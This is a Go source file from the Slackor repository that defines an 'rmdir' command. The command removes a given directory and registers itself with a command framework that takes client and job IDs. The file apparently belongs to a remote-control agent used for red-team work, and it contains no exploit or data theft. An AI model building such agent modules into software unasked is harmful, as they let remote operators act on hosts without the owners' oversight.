github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/rmdir.go (about)

     1  package common
     2  
     3  import (
     4  	"errors"
     5  	"os"
     6  
     7  	"github.com/Coalfire-Research/Slackor/pkg/command"
     8  )
     9  
    10  // RMDir removes the given empty directory
    11  type RMDir struct{}
    12  
    13  // Name is the name of the command
    14  func (p RMDir) Name() string {
    15  	return "rmdir"
    16  }
    17  
    18  // Run removes the given empty directory
    19  func (p RMDir) Run(clientID string, jobID string, args []string) (string, error) {
    20  	if len(args) != 1 {
    21  		return "", errors.New("rm takes 1 argument")
    22  	}
    23  	path := args[0]
    24  	st, err := os.Stat(path)
    25  	if err != nil {
    26  		return "", err
    27  	}
    28  	if !st.Mode().IsDir() {
    29  		return "", errors.New("rmdir can only remove empty directories")
    30  	}
    31  	err = os.Remove(path)
    32  	if err != nil {
    33  		return "", err
    34  	}
    35  	return path + " has been removed.", nil
    36  }
    37  
    38  func init() {
    39  	command.RegisterCommand(RMDir{})
    40  }